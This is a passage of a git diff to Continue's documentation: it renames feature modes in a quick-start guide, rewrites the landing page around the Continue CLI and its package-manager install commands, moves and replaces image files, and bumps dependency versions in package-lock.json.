converting between languages/frameworks.
----
+
-## 💬 Chat
+## 💬 Chat Mode
**What it does**: Interactive AI assistant that can analyze code, answer questions, and provide guidance without leaving your IDE.
@@ -136,7 +138,7 @@ Try these follow-up questions:
-### Chat Keyboard Shortcuts
+### Chat Mode Keyboard Shortcuts
@@ -164,9 +166,12 @@ Focus Current Chat / Add Selected Code To Current Chat / Close Continue Sidebar
brainstorming solutions to complex problems.
+
+
+
---
-## 🤖 Agent
+## 🤖 Agent Mode
**What it does**: An autonomous coding assistant that can read files, make changes, run commands, and handle complex multi-step tasks.
@@ -177,14 +182,14 @@ Focus Current Chat / Add Selected Code To Current Chat / Close Continue Sidebar
3. Select **"Agent"** mode
-
+
Try this prompt: ``` "Write comprehensive unit tests for the sorting functions
in this file. Create the tests in a new file using Jest, and make sure to test
edge cases like empty arrays and single elements." ```
-
-Agent will:
+
+Agent mode will:
- ✅ Analyze your existing code
- ✅ Create a new test file
- ✅ Write comprehensive tests
@@ -194,11 +199,67 @@ Agent will:
- Agent has powerful capabilities including file creation and modification.
- Always review Agent's changes before accepting them.
+ Agent mode has powerful capabilities including file creation and modification.
+ Always review Agent mode's changes before accepting them.
+
+
---
+## Explore More Extension Examples
+
+Ready to explore more? Continue offers five powerful features to enhance your coding workflow:
+
+
+[Agent Mode](/ide-extensions/agent/quick-start) equips the Chat model with the tools needed to handle a wide range of coding tasks
+
+
+
+
+ Learn more about [Agent Mode](/ide-extensions/agent/quick-start)
+
+
+
+
+[Chat](/ide-extensions/chat/quick-start) makes it easy to ask for help from an LLM without needing to leave the IDE
+
+
+
+
+ Learn more about [Chat Mode](/ide-extensions/chat/quick-start)
+
+
+
+
+[Plan](/ide-extensions/agent/plan-mode) provides a safe environment with read-only tools for exploring code and planning changes
+
+
+
+
+ Learn more about [Plan Mode](/ide-extensions/agent/plan-mode)
+
+
+
+
+[Edit](/ide-extensions/edit/quick-start) is a convenient way to modify code without leaving your current file
+
+
+
+
+ Learn more about [Edit](/ide-extensions/edit/quick-start)
+
+
+
+
+[Autocomplete](/ide-extensions/autocomplete/quick-start) provides inline code suggestions as you type
+
+
+
+
+ Learn more about [Autocomplete](/ide-extensions/autocomplete/quick-start)
+
+
+
## 🚀 Next Steps
@@ -211,9 +272,9 @@ Congratulations! You've experienced all four core Continue features. Here's what
- Dive deeper into Agent capabilities and advanced use cases
+ Dive deeper into Agent mode capabilities and advanced use cases
-
+
Discover [effective prompting techniques](/customize/deep-dives/prompts), [hub
- v. local agents](/guides/understanding-agents), and [custom slash
- commands](/customize/deep-dives/slash-commands).
+ v. local configuration](/guides/understanding-configs), and [custom slash
+ commands](/customize/deep-dives/prompts).
- Explore [Hub Agents](/hub/agents/intro), [organization
+ Explore [Hub configurations](/hub/configs/intro), [organization
management](/hub/governance/creating-an-org), and [sharing
configurations](/hub/sharing).
diff --git a/docs/images/agent-quick-start.gif b/docs/images/agent-quick-start.gif
new file mode 100644
index 000000000..c4e4a6e94
Binary files /dev/null and b/docs/images/agent-quick-start.gif differ
diff --git a/docs/images/assistant-selector-dropdown.png b/docs/images/assistant-selector-dropdown.png
new file mode 100644
index 000000000..9b4b69f3e
Binary files /dev/null and b/docs/images/assistant-selector-dropdown.png differ
diff --git a/docs/images/autocomplete-model-selection.png b/docs/images/autocomplete-model-selection.png
new file mode 100644
index 000000000..530b30a63
Binary files /dev/null and b/docs/images/autocomplete-model-selection.png differ
diff --git a/docs/images/autocomplete-quick-start.gif b/docs/images/autocomplete-quick-start.gif
new file mode 100644
index 000000000..84ccf3931
Binary files /dev/null and b/docs/images/autocomplete-quick-start.gif differ
diff --git a/docs/images/autocomplete-settings.png b/docs/images/autocomplete-settings.png
new file mode 100644
index 000000000..fa3fe2fd6
Binary files /dev/null and b/docs/images/autocomplete-settings.png differ
diff --git a/docs/images/background-agent.gif b/docs/images/background-agent.gif
new file mode 100644
index 000000000..b45757fa3
Binary files /dev/null and b/docs/images/background-agent.gif differ
diff --git a/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png b/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png
deleted file mode 100644
index 456db04a9..000000000
Binary files a/docs/images/block-new-button-03d90f6cc9be774c52bdfc4baa5d634e.png and /dev/null differ
diff --git a/docs/images/chat-quick-start.gif b/docs/images/chat-quick-start.gif
new file mode 100644
index 000000000..46fd322ba
Binary files /dev/null and b/docs/images/chat-quick-start.gif differ
diff --git a/docs/images/cli-agent.gif b/docs/images/cli-agent.gif
new file mode 100644
index 000000000..35d49a17b
Binary files /dev/null and b/docs/images/cli-agent.gif differ
diff --git a/docs/images/cn-demo.gif b/docs/images/cn-demo.gif
index 795be614d..4b37b3f77 100644
Binary files a/docs/images/cn-demo.gif and b/docs/images/cn-demo.gif differ
diff --git a/docs/images/continue-settings-card-layout.png b/docs/images/continue-settings-card-layout.png
new file mode 100644
index 000000000..4fc8c6d8b
Binary files /dev/null and b/docs/images/continue-settings-card-layout.png differ
diff --git a/docs/images/edit-quick-start.gif b/docs/images/edit-quick-start.gif
new file mode 100644
index 000000000..b4f9d8700
Binary files /dev/null and b/docs/images/edit-quick-start.gif differ
diff --git a/docs/images/hub/agent-remix-button.png b/docs/images/hub/agent-remix-button.png
new file mode 100644
index 000000000..8410177f6
Binary files /dev/null and b/docs/images/hub/agent-remix-button.png differ
diff --git a/docs/images/hub/assets/images/agent-mission-control.gif b/docs/images/hub/assets/images/agent-mission-control.gif
new file mode 100644
index 000000000..5fe52efb0
Binary files /dev/null and b/docs/images/hub/assets/images/agent-mission-control.gif differ
diff --git a/docs/images/hub/assets/images/hub-overview.jpg b/docs/images/hub/assets/images/hub-overview.jpg
new file mode 100644
index 000000000..adbf435c1
Binary files /dev/null and b/docs/images/hub/assets/images/hub-overview.jpg differ
diff --git a/docs/images/hub/assistant-new-button.png b/docs/images/hub/assistant-new-button.png
deleted file mode 100644
index d6088a061..000000000
Binary files a/docs/images/hub/assistant-new-button.png and /dev/null differ
diff --git a/docs/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png b/docs/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png
deleted file mode 100644
index d6088a061..000000000
Binary files a/docs/images/hub/assistants/images/assistant-new-button-16070e2cff9ce25ec9ebfeecb0e2f2b5.png and /dev/null differ
diff --git a/docs/images/hub/assistants/images/assistant-new-button.png b/docs/images/hub/assistants/images/assistant-new-button.png
deleted file mode 100644
index d6088a061..000000000
Binary files a/docs/images/hub/assistants/images/assistant-new-button.png and /dev/null differ
diff --git a/docs/images/hub/assistants/images/assistant-remix-button.png b/docs/images/hub/assistants/images/assistant-remix-button.png
deleted file mode 100644
index 02c9d34ef..000000000
Binary files a/docs/images/hub/assistants/images/assistant-remix-button.png and /dev/null differ
diff --git a/docs/images/hub/block-new-button.png b/docs/images/hub/block-new-button.png
deleted file mode 100644
index 456db04a9..000000000
Binary files a/docs/images/hub/block-new-button.png and /dev/null differ
diff --git a/docs/images/hub/block-new-page.png b/docs/images/hub/block-new-page.png
deleted file mode 100644
index 9addc9238..000000000
Binary files a/docs/images/hub/block-new-page.png and /dev/null differ
diff --git a/docs/images/hub/bundle-new-button.png b/docs/images/hub/bundle-new-button.png
deleted file mode 100644
index 60ccc23d6..000000000
Binary files a/docs/images/hub/bundle-new-button.png and /dev/null differ
diff --git a/docs/images/hub/create-an-agent.gif b/docs/images/hub/create-an-agent.gif
new file mode 100644
index 000000000..6914cd7a5
Binary files /dev/null and b/docs/images/hub/create-an-agent.gif differ
diff --git a/docs/images/hub/hub-nav.png b/docs/images/hub/hub-nav.png
new file mode 100644
index 000000000..433446056
Binary files /dev/null and b/docs/images/hub/hub-nav.png differ
diff --git a/docs/images/hub/new-agent-button.png b/docs/images/hub/new-agent-button.png
new file mode 100644
index 000000000..b4c6525ac
Binary files /dev/null and b/docs/images/hub/new-agent-button.png differ
diff --git a/docs/images/hub/workflows/images/workflows-setup.png b/docs/images/hub/workflows/images/workflows-setup.png
new file mode 100644
index 000000000..05419e84d
Binary files /dev/null and b/docs/images/hub/workflows/images/workflows-setup.png differ
diff --git a/docs/images/features/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png b/docs/images/ide-extensions/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png
similarity index 100%
rename from docs/images/features/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png
rename to docs/images/ide-extensions/agent/assets/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png
diff --git a/docs/images/features/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png b/docs/images/ide-extensions/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png
similarity index 100%
rename from docs/images/features/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png
rename to docs/images/ide-extensions/agent/assets/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png
diff --git a/docs/images/features/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png b/docs/images/ide-extensions/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png
similarity index 100%
rename from docs/images/features/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png
rename to docs/images/ide-extensions/agent/images/agent-permission-c150919a5c43eb4f55d9d4a46ef8b2d6.png
diff --git a/docs/images/features/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png b/docs/images/ide-extensions/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png
similarity index 100%
rename from docs/images/features/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png
rename to docs/images/ide-extensions/agent/images/agent-response-c7287c82aac93fb4376f9d85b352b2d7.png
diff --git a/docs/images/features/autocomplete/images/instinct-autocomplete.png b/docs/images/ide-extensions/autocomplete/images/instinct-autocomplete.png
similarity index 100%
rename from docs/images/features/autocomplete/images/instinct-autocomplete.png
rename to docs/images/ide-extensions/autocomplete/images/instinct-autocomplete.png
diff --git a/docs/images/features/autocomplete/images/mercury-coder-next-edit.png b/docs/images/ide-extensions/autocomplete/images/mercury-coder-next-edit.png
similarity index 100%
rename from docs/images/features/autocomplete/images/mercury-coder-next-edit.png
rename to docs/images/ide-extensions/autocomplete/images/mercury-coder-next-edit.png
diff --git a/docs/images/features/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png b/docs/images/ide-extensions/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png
similarity index 100%
rename from docs/images/features/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png
rename to docs/images/ide-extensions/edit/assets/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png
diff --git a/docs/images/features/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png b/docs/images/ide-extensions/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png
similarity index 100%
rename from docs/images/features/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png
rename to docs/images/ide-extensions/edit/images/select-edit-mode-75c8f01861ebe03177986a5b7f21f746.png
diff --git a/docs/images/indexing-settings.png b/docs/images/indexing-settings.png
new file mode 100644
index 000000000..1b4cb9be6
Binary files /dev/null and b/docs/images/indexing-settings.png differ
diff --git a/docs/index.mdx b/docs/index.mdx
index 4df6c30cc..343eef56e 100644
--- a/docs/index.mdx
+++ b/docs/index.mdx
@@ -1,55 +1,147 @@
---
-title: "Introduction"
+title: "Welcome to Continue"
icon: book-open
-description: "Continue is an open source platform for building AI-powered coding assistants with customizable components for chat, autocomplete, edit, and agent workflows in VS Code and JetBrains IDEs"
+description: "Kick off agents from the terminal, IDE, or Mission Control"
---
-**Continue enables developers to ship faster with Continuous AI.**
+
+ **Launch background agents, iterate in terminal, and deploy workflows in CI/CD**
+
-**You can use Continue to build and run custom agents across your IDE, terminal, and CI.**
+## Continue CLI
-1. Get started with Continue in [VS Code](https://marketplace.visualstudio.com/items?itemName=Continue.continue) or [JetBrains](https://plugins.jetbrains.com/plugin/22707-continue-extension) extensions
+Terminal-native AI coding assistance with TUI and headless modes.
-2. Try out [Continue CLI (cn)](https://docs.continue.dev/guides/cli) and give us feedback
+
-3. Discover models, rules, and MCP tools on [Continue Hub](https://hub.continue.dev/)
+ ```bash npm
+ npm install -g @continuedev/cli
+ ```
+
+ ```bash yarn
+ yarn global add @continuedev/cli
+ ```
+
+ ```bash pnpm
+ pnpm add -g @continuedev/cli
+ ```
+
+
- to work on development tasks together with AI
+ Interactive terminal interface for development workflows
+
+ • Automate builds & refactoring
+
+ • Pre-commit hooks & scripted fixes
+
+ • Terminal-first development
- to ask general questions and clarify code sections
+ Automated AI coding for CI/CD and server environments
+
+ • Run in CI/CD pipelines
+
+ • Batch processing & bulk operations
+
+ • Server & container deployments
+
+
+
+## IDE Extensions
+
+
+ **Complement your CLI workflow** - Rich editor integrations for interactive
+ development.
+
+
+
+
+ Install from VS Code Marketplace
+
+ Real-time coding assistance and refactoring
- to modify a code section without leaving your current file
+ Install from JetBrains Plugin Repository
+
+ Autocomplete and multi-file edits
+
+
+
+## Core Features
+
+
+
+ Multi-step workflows and complex task automation
+
+
+ Ask questions and explore your codebase
+
+
+ In-place code editing without breaking flow
- to receive inline code suggestions as you type
+ Inline AI suggestions as you type
+
+
+
+## Configuration
+
+
+
+ Connect your preferred AI models
+
+
+ Configure AI behavior and constraints
+
+
+ Extend functionality with MCP tools
+
+
+
+## Resources
+
+
+
+ Community models, rules, and tools
+
+
+ Get help from the community
+
+
+ TUI and headless workflow examples
-
diff --git a/docs/package-lock.json b/docs/package-lock.json
index 9727e1e34..2a8dd6b05 100644
--- a/docs/package-lock.json
+++ b/docs/package-lock.json
@@ -9,7 +9,7 @@
"version": "1.0.0",
"license": "ISC",
"dependencies": {
- "@c15t/react": "^1.4.4"
+ "@c15t/react": "^1.6.1"
},
"devDependencies": {
"mintlify": "^4.2.3"
@@ -93,67 +93,207 @@
}
},
"node_modules/@c15t/backend": {
- "version": "1.4.2",
- "resolved": "https://registry.npmjs.org/@c15t/backend/-/backend-1.4.2.tgz",
- "integrity": "sha512-Ki3HXTrGVPW5A0uFCuGyr/jDeFvJxhr9eOCykAuE1yOcXnATUEjqxwa6cH5jRXHz59mf7kLMHdRyjHarXxHqtA==",
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/@c15t/backend/-/backend-1.6.0.tgz",
+ "integrity": "sha512-A9XeHFUIrJxda53yxgErmmHy9W/tFAJCtn0aMWNTPS2fEMhrAs3H5ICFzXDqeEo/0g4BE8Pg6Y86ocJwPLcXAg==",
"license": "GPL-3.0-only",
"dependencies": {
- "@c15t/translations": "1.4.2",
+ "@c15t/translations": "1.6.0",
"@doubletie/logger": "1.0.4",
- "@opentelemetry/api": "1.8.0",
- "@opentelemetry/resources": "^1.25.1",
- "@opentelemetry/sdk-node": "^0.51.1",
- "@opentelemetry/sdk-trace-base": "^1.25.1",
- "@orpc/contract": "1.2.0",
- "@orpc/openapi": "1.2.0",
- "@orpc/server": "1.2.0",
- "@orpc/zod": "1.2.0",
+ "@opentelemetry/api": "1.9.0",
+ "@opentelemetry/resources": "^2.0.1",
+ "@opentelemetry/sdk-node": "^0.203.0",
+ "@opentelemetry/sdk-trace-base": "^2.0.1",
+ "@orpc/contract": "1.8.1",
+ "@orpc/openapi": "1.8.1",
+ "@orpc/otel": "^1.8.1",
+ "@orpc/server": "1.8.1",
+ "@orpc/zod": "1.8.1",
"base-x": "^5.0.1",
"defu": "^6.1.4",
"drizzle-orm": "^0.41.0",
+ "fumadb": "^0.1.1",
"kysely": "^0.27.6",
"neverthrow": "^8.2.0",
"superjson": "^2.2.2",
- "zod": "^3.24.2"
+ "zod": "^4.0.17"
}
},
- "node_modules/@c15t/node-sdk": {
- "version": "1.4.2",
- "resolved": "https://registry.npmjs.org/@c15t/node-sdk/-/node-sdk-1.4.2.tgz",
- "integrity": "sha512-APQkUTjp2CJYxLH3Qfu0XcqNpw2ytzCaUjaim5PljMZ8Gv8ecI7LVQgq4H4xn9XddKfVvMIb2MoJIXX8D+a9Lg==",
- "dependencies": {
- "@c15t/backend": "1.4.2",
- "@orpc/client": "1.2.0",
- "@orpc/contract": "1.2.0",
- "@orpc/openapi-client": "^1.2.0",
- "@orpc/server": "1.2.0"
+ "node_modules/@c15t/backend/node_modules/drizzle-orm": {
+ "version": "0.41.0",
+ "resolved": "https://registry.npmjs.org/drizzle-orm/-/drizzle-orm-0.41.0.tgz",
+ "integrity": "sha512-7A4ZxhHk9gdlXmTdPj/lREtP+3u8KvZ4yEN6MYVxBzZGex5Wtdc+CWSbu7btgF6TB0N+MNPrvW7RKBbxJchs/Q==",
+ "license": "Apache-2.0",
+ "peerDependencies": {
+ "@aws-sdk/client-rds-data": ">=3",
+ "@cloudflare/workers-types": ">=4",
+ "@electric-sql/pglite": ">=0.2.0",
+ "@libsql/client": ">=0.10.0",
+ "@libsql/client-wasm": ">=0.10.0",
+ "@neondatabase/serverless": ">=0.10.0",
+ "@op-engineering/op-sqlite": ">=2",
+ "@opentelemetry/api": "^1.4.1",
+ "@planetscale/database": ">=1",
+ "@prisma/client": "*",
+ "@tidbcloud/serverless": "*",
+ "@types/better-sqlite3": "*",
+ "@types/pg": "*",
+ "@types/sql.js": "*",
+ "@vercel/postgres": ">=0.8.0",
+ "@xata.io/client": "*",
+ "better-sqlite3": ">=7",
+ "bun-types": "*",
+ "expo-sqlite": ">=14.0.0",
+ "gel": ">=2",
+ "knex": "*",
+ "kysely": "*",
+ "mysql2": ">=2",
+ "pg": ">=8",
+ "postgres": ">=3",
+ "sql.js": ">=1",
+ "sqlite3": ">=5"
+ },
+ "peerDependenciesMeta": {
+ "@aws-sdk/client-rds-data": {
+ "optional": true
+ },
+ "@cloudflare/workers-types": {
+ "optional": true
+ },
+ "@electric-sql/pglite": {
+ "optional": true
+ },
+ "@libsql/client": {
+ "optional": true
+ },
+ "@libsql/client-wasm": {
+ "optional": true
+ },
+ "@neondatabase/serverless": {
+ "optional": true
+ },
+ "@op-engineering/op-sqlite": {
+ "optional": true
+ },
+ "@opentelemetry/api": {
+ "optional": true
+ },
+ "@planetscale/database": {
+ "optional": true
+ },
+ "@prisma/client": {
+ "optional": true
+ },
+ "@tidbcloud/serverless": {
+ "optional": true
+ },
+ "@types/better-sqlite3": {
+ "optional": true
+ },
+ "@types/pg": {
+ "optional": true
+ },
+ "@types/sql.js": {
+ "optional": true
+ },
+ "@vercel/postgres": {
+ "optional": true
+ },
+ "@xata.io/client": {
+ "optional": true
+ },
+ "better-sqlite3": {
+ "optional": true
+ },
+ "bun-types": {
+ "optional": true
+ },
+ "expo-sqlite": {
+ "optional": true
+ },
+ "gel": {
+ "optional": true
+ },
+ "knex": {
+ "optional": true
+ },
+ "kysely": {
+ "optional": true
+ },
+ "mysql2": {
+ "optional": true
+ },
+ "pg": {
+ "optional": true
+ },
+ "postgres": {
+ "optional": true
+ },
+ "prisma": {
+ "optional": true
+ },
+ "sql.js": {
+ "optional": true
+ },
+ "sqlite3": {
+ "optional": true
+ }
+ }
+ },
+ "node_modules/@c15t/backend/node_modules/zod": {
+ "version": "4.1.12",
+ "resolved": "https://registry.npmjs.org/zod/-/zod-4.1.12.tgz",
+ "integrity": "sha512-JInaHOamG8pt5+Ey8kGmdcAcg3OL9reK8ltczgHTAwNhMys/6ThXHityHxVV2p3fkw/c+MAvBHFVYHFZDmjMCQ==",
+ "license": "MIT",
+ "funding": {
+ "url": "https://github.com/sponsors/colinhacks"
}
},
"node_modules/@c15t/react": {
- "version": "1.4.4",
- "resolved": "https://registry.npmjs.org/@c15t/react/-/react-1.4.4.tgz",
- "integrity": "sha512-IwANOzzKsZHTYfJRQGt1JbdZO/GvwaV+y/uQkvqQTzXCcfXClNQc/XneAySuVuXNRSsU5S1vgEJ1JR1g3Os5qQ==",
+ "version": "1.6.1",
+ "resolved": "https://registry.npmjs.org/@c15t/react/-/react-1.6.1.tgz",
+ "integrity": "sha512-l5snHHOVbO+uS3IYB4YOi9YJqsU7rpNaboFqTyy7N0uR51d30EkO8rhn8yYtMcVJyxCuiz9f8n+/6YGPW/BJmA==",
"license": "GPL-3.0-only",
"dependencies": {
- "@c15t/node-sdk": "1.4.2",
"@radix-ui/react-accordion": "1.2.4",
"@radix-ui/react-slot": "1.2.0",
"@radix-ui/react-switch": "1.1.4",
- "c15t": "1.4.4",
+ "c15t": "1.6.0",
"clsx": "2.1.1",
"zustand": "^5.0.3"
},
"peerDependencies": {
- "react": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc",
- "react-dom": "^16.8.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 || ^19.0.0-rc"
+ "react": "^19.0.0 || ^19.0.0-rc || ^18.0.0 || ^17.0.0 || ^16.8.0",
+ "react-dom": "^19.0.0 || ^19.0.0-rc || ^18.0.0 || ^17.0.0 || ^16.8.0"
}
},
"node_modules/@c15t/translations": {
- "version": "1.4.2",
- "resolved": "https://registry.npmjs.org/@c15t/translations/-/translations-1.4.2.tgz",
- "integrity": "sha512-snPX8HdY0IKLGoW484y5Dy4vwGoReUcpeWKBiYChlzUb3j9vv4F8KO9yrOr9y8sH29Y18l1q+it7Him+31jLqA==",
+ "version": "1.6.0",
+ "resolved": "https://registry.npmjs.org/@c15t/translations/-/translations-1.6.0.tgz",
+ "integrity": "sha512-a700vmWWVYH+++0N+Mdwy33fX+O5hJF9QGB6cG5zsmJ8B0ef6XXKQ7DC3xN1Xt+xO0J7fACacDm40ZIxOlxiWg==",
"license": "GPL-3.0-only"
},
+ "node_modules/@clack/core": {
+ "version": "0.5.0",
+ "resolved": "https://registry.npmjs.org/@clack/core/-/core-0.5.0.tgz",
+ "integrity": "sha512-p3y0FIOwaYRUPRcMO7+dlmLh8PSRcrjuTndsiA0WAFbWES0mLZlrjVoBRZ9DzkPFJZG6KGkJmoEAY0ZcVWTkow==",
+ "license": "MIT",
+ "dependencies": {
+ "picocolors": "^1.0.0",
+ "sisteransi": "^1.0.5"
+ }
+ },
+ "node_modules/@clack/prompts": {
+ "version": "0.11.0",
+ "resolved": "https://registry.npmjs.org/@clack/prompts/-/prompts-0.11.0.tgz",
+ "integrity": "sha512-pMN5FcrEw9hUkZA4f+zLlzivQSeQf5dRGJjSUbvVYDLvpKCdQx5OaknvKzgbtXOizhP+SJJJjqEbOe55uKKfAw==",
+ "license": "MIT",
+ "dependencies": {
+ "@clack/core": "0.5.0",
+ "picocolors": "^1.0.0",
+ "sisteransi": "^1.0.5"
+ }
+ },
"node_modules/@doubletie/logger": {
"version": "1.0.4",
"resolved": "https://registry.npmjs.org/@doubletie/logger/-/logger-1.0.4.tgz",
@@ -188,12 +328,12 @@
"optional": true
},
"node_modules/@grpc/grpc-js": {
- "version": "1.13.4",
- "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.13.4.tgz",
- "integrity": "sha512-GsFaMXCkMqkKIvwCQjCrwH+GHbPKBjhwo/8ZuUkWHqbI73Kky9I+pQltrlT0+MWpedCoosda53lgjYfyEPgxBg==",
+ "version": "1.14.0",
+ "resolved": "https://registry.npmjs.org/@grpc/grpc-js/-/grpc-js-1.14.0.tgz",
+ "integrity": "sha512-N8Jx6PaYzcTRNzirReJCtADVoq4z7+1KQ4E70jTg/koQiMoUSN1kbNjPOqpPbhMFhfU1/l7ixspPl8dNY+FoUg==",
"license": "Apache-2.0",
"dependencies": {
- "@grpc/proto-loader": "^0.7.13",
+ "@grpc/proto-loader": "^0.8.0",
"@js-sdsl/ordered-map": "^4.4.2"
},
"engines": {
@@ -201,14 +341,14 @@
}
},
"node_modules/@grpc/proto-loader": {
- "version": "0.7.15",
- "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.7.15.tgz",
- "integrity": "sha512-tMXdRCfYVixjuFK+Hk0Q1s38gV9zDiDJfWL3h1rv4Qc39oILCu1TRTDt7+fGUI8K4G1Fj125Hx/ru3azECWTyQ==",
+ "version": "0.8.0",
+ "resolved": "https://registry.npmjs.org/@grpc/proto-loader/-/proto-loader-0.8.0.tgz",
+ "integrity": "sha512-rc1hOQtjIWGxcxpb9aHAfLpIctjEnsDehj0DAiVfBlmT84uvR0uUtN2hEi/ecvWVjXUGf5qPF4qEgiLOx1YIMQ==",
"license": "Apache-2.0",
"dependencies": {
"lodash.camelcase": "^4.3.0",
"long": "^5.0.0",
- "protobufjs": "^7.2.5",
+ "protobufjs": "^7.5.3",
"yargs": "^17.7.2"
},
"bin": {
@@ -1166,6 +1306,67 @@
}
}
},
+ "node_modules/@isaacs/cliui": {
+ "version": "8.0.2",
+ "resolved": "https://registry.npmjs.org/@isaacs/cliui/-/cliui-8.0.2.tgz",
+ "integrity": "sha512-O8jcjabXaleOG9DQ0+ARXWZBTfnP4WNAqzuiJK7ll44AmxGKv/J2M4TPjxjY3znBCfvBXFzucm1twdyFybFqEA==",
+ "license": "ISC",
+ "peer": true,
+ "dependencies": {
+ "string-width": "^5.1.2",
+ "string-width-cjs": "npm:string-width@^4.2.0",
+ "strip-ansi": "^7.0.1",
+ "strip-ansi-cjs": "npm:strip-ansi@^6.0.1",
+ "wrap-ansi": "^8.1.0",
+ "wrap-ansi-cjs": "npm:wrap-ansi@^7.0.0"
+ },
+ "engines": {
+ "node": ">=12"
+ }
+ },
+ "node_modules/@isaacs/cliui/node_modules/emoji-regex": {
+ "version": "9.2.2",
+ "resolved": "https://registry.npmjs.org/emoji-regex/-/emoji-regex-9.2.2.tgz",
+ "integrity": "sha512-L18DaJsXSUk2+42pv8mLs5jJT2hqFkFE4j21wOmgbUqsZ2hL72NsUU785g9RXgo3s0ZNgVl42TiHp3ZtOv/Vyg==",
+ "license": "MIT",
+ "peer": true
+ },
+ "node_modules/@isaacs/cliui/node_modules/string-width": {
+ "version": "5.1.2",
+ "resolved": "https://registry.npmjs.org/string-width/-/string-width-5.1.2.tgz",
+ "integrity": "sha512-HnLOCR3vjcY8beoNLtcjZ5/nxn2afmME6lhrDrebokqMap+XbeW8n9TXpPDOqdGK5qcI3oT0GKTW6wC7EMiVqA==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "eastasianwidth": "^0.2.0",
+ "emoji-regex": "^9.2.2",
+ "strip-ansi": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/sponsors/sindresorhus"
+ }
+ },
+ "node_modules/@isaacs/cliui/node_modules/wrap-ansi": {
+ "version": "8.1.0",
+ "resolved": "https://registry.npmjs.org/wrap-ansi/-/wrap-ansi-8.1.0.tgz",
+ "integrity": "sha512-si7QWI6zUMq56bESFvagtmzMdGOtoxfR+Sez11Mobfc7tm+VkUckk9bW2UeffTGVUbOksxmSw0AA2gs8g71NCQ==",
+ "license": "MIT",
+ "peer": true,
+ "dependencies": {
+ "ansi-styles": "^6.1.0",
+ "string-width": "^5.0.1",
+ "strip-ansi": "^7.0.1"
+ },
+ "engines": {
+ "node": ">=12"
+ },
+ "funding": {
+ "url": "https://github.com/chalk/wrap-ansi?sponsor=1"
+ }
+ },
"node_modules/@js-sdsl/ordered-map": {
"version": "4.4.2",
"resolved": "https://registry.npmjs.org/@js-sdsl/ordered-map/-/ordered-map-4.4.2.tgz",
@@ -1887,6 +2088,18 @@
"node": ">= 10"
}
},
+ "node_modules/@noble/hashes": {
+ "version": "1.8.0",
+ "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.8.0.tgz",
+ "integrity": "sha512-jCs9ldd7NwzpgXDIf6P3+NrHh9/sD6CQdxHyjQI+h/6rDNo88ypBxxz45UDuZHz9r3tNz7N/VInSVoVdtXEI4A==",
+ "license": "MIT",
+ "engines": {
+ "node": "^14.21.3 || >=16"
+ },
+ "funding": {
+ "url": "https://paulmillr.com/funding/"
+ }
+ },
"node_modules/@openapi-contrib/openapi-schema-to-json-schema": {
"version": "3.2.0",
"resolved": "https://registry.npmjs.org/@openapi-contrib/openapi-schema-to-json-schema/-/openapi-schema-to-json-schema-3.2.0.tgz",
@@ -1898,1112 +2111,1396 @@
}
},
"node_modules/@opentelemetry/api": {
- "version": "1.8.0",
- "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.8.0.tgz",
- "integrity": "sha512-I/s6F7yKUDdtMsoBWXJe8Qz40Tui5vsuKCWJEWVL+5q9sSWRzzx6v2KeNsOBEwd94j0eWkpWCH4yB6rZg9Mf0w==",
+ "version": "1.9.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api/-/api-1.9.0.tgz",
+ "integrity": "sha512-3giAOQvZiH5F9bMlMiv8+GSPMeqg0dbaeo58/0SlA9sxSqZhnUtxzX9/2FzyhS9sWQf5S0GJE0AKBrFqjpeYcg==",
"license": "Apache-2.0",
"engines": {
"node": ">=8.0.0"
}
},
"node_modules/@opentelemetry/api-logs": {
- "version": "0.51.1",
- "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.51.1.tgz",
- "integrity": "sha512-E3skn949Pk1z2XtXu/lxf6QAZpawuTM/IUEXcAzpiUkTd73Hmvw26FiN3cJuTmkpM5hZzHwkomVdtrh/n/zzwA==",
+ "version": "0.207.0",
+ "resolved": "https://registry.npmjs.org/@opentelemetry/api-logs/-/api-logs-0.207.0.tgz",
+ "integrity": "sha512-lAb0jQRVyleQQGiuuvCOTDVspc14nx6XJjP4FspJ1sNARo3Regq4ZZbrc3rN4b1TYSuUCvgH+UXUPug4SLOqEQ==",
"license": "Apache-2.0",
